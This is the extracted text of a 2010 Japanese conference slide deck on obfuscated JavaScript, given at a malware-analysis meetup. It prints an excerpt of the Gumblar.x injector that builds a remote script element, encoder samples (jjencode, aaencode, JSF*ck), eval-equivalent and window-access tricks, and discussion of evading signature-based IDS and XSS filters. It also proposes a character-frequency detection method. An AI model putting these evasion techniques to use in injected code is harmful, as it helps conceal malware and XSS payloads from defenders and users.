難読化JavaScript

>100 Views

December 18, 10

スライド概要

0と1しか興味ない人のためのマルウェア分析会(NetAgent)資料 2010-12-18

シェア

またはPlayer版

埋め込む »CMSなどでJSが使えない場合

関連スライド

各ページのテキスト
1.

難読化 JavaScript NetAgent Co.,Ltd. Yosuke HASEGAWA

2.

韓国 POC2010  韓国最大のセキュリティカンファレンス  2010年12月14日、15日  参加者200名くらい  海外からも有名スピーカー INNOVATION TO THE FUTURE NetAgent Co., Ltd.

3.

韓国 POC2010 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

4.

本題 難読化JavaScript

5.

難読化の理由  圧縮の副作用として  アンチウイルスやIDSのシグネイチャ 回避  アンチデバッグ INNOVATION TO THE FUTURE NetAgent Co., Ltd.

6.

難読化:圧縮の副作用として  配信サイズの縮小  Google Closure Compiler  Yahoo! YUI Compressor  Microsoft Ajax Minifier INNOVATION TO THE FUTURE NetAgent Co., Ltd.

7.

難読化:圧縮の副作用として INNOVATION TO THE FUTURE NetAgent Co., Ltd.

8.

難読化:圧縮の副作用として INNOVATION TO THE FUTURE NetAgent Co., Ltd.

9.

難読化:圧縮の副作用として  圧縮されたJavaScriptのデバッグ  deminify ツールはいろいろ  Fiddlerでdeminified JSを返す  Webブラウザのデバッガで解析 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

10.

難読化:シグネイチャの回避  パターンマッチの回避が目的  容易に亜種を生成  「解析のしにくさ」は副次的?  Gumblar、Gumblar.x など INNOVATION TO THE FUTURE NetAgent Co., Ltd.

11.
[beta]
難読化 : Gumblar.x
<script>/*GNU GPL*/ try{
window.onload = function(){
var If0y2m9d6n3gx = document.createElement(
's)(c&&r&i@&$p(t))@&@....'
.replace(
/&|¥(|@|#|¥!|¥$|¥^|¥)/ig, ''));
If0y2m9d6n3gx.setAttribute('type',
't$&&^e$)#x@(#@t^/^@#)j&^@a$!&^)v$a(!$!s
$$$c^r@))i$@p^@)t^!!$'
.replace(/&|#|¥)|¥!|@|¥^|¥$|¥(/ig, ''));
If0y2m9d6n3gx.setAttribute('src',
'h&(t##t(^@p&$$:#@^/$)($/#!) … (.@c)o!$$m!!(/('
.replace(/¥$|#|¥^|@|¥(|&|¥)|¥!/ig, ''));

INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

12.

難読化:Gumblar  文字列リテラルに記号を挿入  ‘文$字#%列’.replace( /記号/, '' );  機械的に生成可能  変数名が長い  var If0y2m9d6n3gx, Jydcftfn0k ;  英数字のみ? INNOVATION TO THE FUTURE NetAgent Co., Ltd.

13.

難読化 : Gumblar.x  パターンマッチでない検出アプローチ  文字の出現頻度 a-zA-Z0-9 と &#)!@^$( の割合 Gumblar : 30% - 55% jQuery : 87% Twitter : 88% INNOVATION TO THE FUTURE NetAgent Co., Ltd.

14.

難読化:シグネイチャの回避  特定サイトのWAF/IDSの回避が目的  一撃必殺? 一期一会?  亜種の生成は不要  あまり知りません ^^;  最終的には <script> <iframe>な どを挿入 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

15.

難読化 : アンチデバッグ  解析しにくいコード  ブラウザ依存でも可?  趣味の世界  jjencode, aaencode, JSF*ck INNOVATION TO THE FUTURE NetAgent Co., Ltd.

16.
[beta]
jjencode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}
+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}
+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._
$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+
($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$
=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$
$+"¥""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"¥¥"+$.__$+$.$$_+$._$_+$.__+"(¥¥
¥"¥¥"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",¥¥
"+$.$__+$.___+"¥¥"+$.__$+$.__$+$._$_+$.$_$_+"¥¥"+$.__$+$.$$_+$.$$_
+$.$_$_+"¥¥"+$.__$+$._$_+$._$$+$.$$__+"¥¥"+$.__$+$.$$_+$._$_+"¥¥"+
$.__$+$.$_$+$.__$+"¥¥"+$.__$+$.$$_+$.___+$.__+"¥¥¥")"+"¥"")())();

http://utf-8.jp/public/jjencode.html
INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

17.
[beta]
aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚
Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚
ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_')
[c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚
o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_')
[(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚
Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚
o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_')
[o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='¥¥';
(゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='¥"';(゚
Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+
((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+
(゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚
Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

http://utf-8.jp/public/aaencode.html
INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

18.

JSF*ck (+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+ [])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+( !+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(! ![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[] )[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[] ]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][( ![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]] +[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[] +!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) [!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]] +(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[] +[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][( ![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]] )[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[ +[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+ []+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[ ]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+( [][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[ +!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[] +[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+ [])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+ []+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+( ![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+! +[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])() http://utf-8.jp/public/jsfuck.html INNOVATION TO THE FUTURE NetAgent Co., Ltd.

19.

jjencodeによる攻撃  http://www.malwaredomainlist.com/forums/index. php?topic=4354.0  http://extraexploit.blogspot.com/2010/10/dollarsjavascript-code-yet-another.html INNOVATION TO THE FUTURE NetAgent Co., Ltd.

20.

jjencodeによる攻撃  現実的には攻撃には不向き  亜種の生成が困難  IE7以下で動作しない  「エンコード」なのでデコードが簡 単  文字種から容易に検出可能 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

21.

難読化の技法いろいろ  変数の使いまわし、ロジックの裁断  ヘタクソなプログラムと一緒  単純にノイズを埋め込む  JavaScriptの柔軟性を利用  window["alert"](1)  eval("alert(1)") INNOVATION TO THE FUTURE NetAgent Co., Ltd.

22.

難読化の技法 : 数値の生成  数値を使わないコードの記述が可能に  数値でないものに演算子を適用 "2" * "3" // 6 +[] -~NaN // 0 - -1 == 1 ""^"" // 0 xor 0 == 0 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

23.
[beta]
難読化の技法 : 論理値の生成
 true / false を直接記述しないコー
ドが可能に
 論理値でないものに論理演算子を適用
![]
""==''
[]<{}

INNOVATION TO THE FUTURE

// false
// true
// true

NetAgent Co., Ltd.

24.

難読化の技法 : 文字列の生成  8進数、16進数で表記 "¥101¥x42"  JS or ブラウザのエスケープ関数 unescape("%41%42") String.fromCharCode(0x41,0x42) atob("QUI=") INNOVATION TO THE FUTURE NetAgent Co., Ltd.

25.
[beta]
難読化の技法 : 文字列の生成
 文字列でないものに文字列演算子を適
用で、string にキャスト
{}+""
//"[object Object]"
[]+![]
// "false"
[]["$"]+"" // "undefined"

 配列形式で1文字取り出し
([]+![])[ 0 ] // 'f'

INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

26.

難読化の技法 : 文字列の操作  文字の切り出し "abcd"[ 0 ]  引用符を使わないリテラル文字列 /ABCD/.source // 正規表現 <>ABCD</> // E4X FF INNOVATION TO THE FUTURE NetAgent Co., Ltd.

27.
[beta]
難読化の技法 : 文字列の操作
 文字の連結

"A".concat("B")
["A","B"].join().replace(/,/g,"")
<>{"A"}{"B"}</a>
// E4X FF

INNOVATION TO THE FUTURE

NetAgent Co., Ltd.

28.

難読化の技法 : 文字列を実行  DOM経由 write("<script>...</script>")  JS内でeval eval( "alert(1)" ) INNOVATION TO THE FUTURE NetAgent Co., Ltd.

29.

難読化の技法 : 文字列を実行  eval 相当の機能 setTimeout("alert(1)", 0 ) Function("alert(1)")() Number.constructor("alert(1)")() execScript("alert(1)", "jscript") //IE INNOVATION TO THE FUTURE NetAgent Co., Ltd.

30.

難読化の技法 : 文字列を実行  eval 相当の機能 crypto.generateCRMFRequest( 'CN=0', 0, 0, null, 'alert(1)', 384,null,'rsa-dual-use') // FF execScript( "#@~^CAAAAA==C^+.D`8#mgIAAA= =^#~@","jscript.encode") // IE INNOVATION TO THE FUTURE NetAgent Co., Ltd.

31.

難読化の技法 : windowの取得 window["alert"](1) window["eval"]("alert(1)") INNOVATION TO THE FUTURE NetAgent Co., Ltd.

32.

難読化の技法 : windowの取得 window, self, this, top, parent x=''.split,x(null) Date.constructor('return this')() (0,[].sort)() INNOVATION TO THE FUTURE NetAgent Co., Ltd.

33.

難読化の技法 : 将来…  ブラウザ依存の積極的活用  主ターゲットを絞る、ブラウザごと に違うexploit等  アンチデバッガ  WebWorkersが利用可能 INNOVATION TO THE FUTURE NetAgent Co., Ltd.

34.

参考資料  Our Favorite XSS Filters/IDS and how to Attack Them http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNavaFavoriteXSS-SLIDES.pdf  JavaScript From Hell http://proidea.maszyna.pl/CONFidence09/2/CONFidence2009_mario_heiderich.pdf  sla.ckers.org web application security forum :: XSS Info http://sla.ckers.org/forum/list.php?2  sla.ckers.org web application security forum :: Obfuscation http://sla.ckers.org/forum/list.php?24 INNOVATION TO THE FUTURE NetAgent Co., Ltd.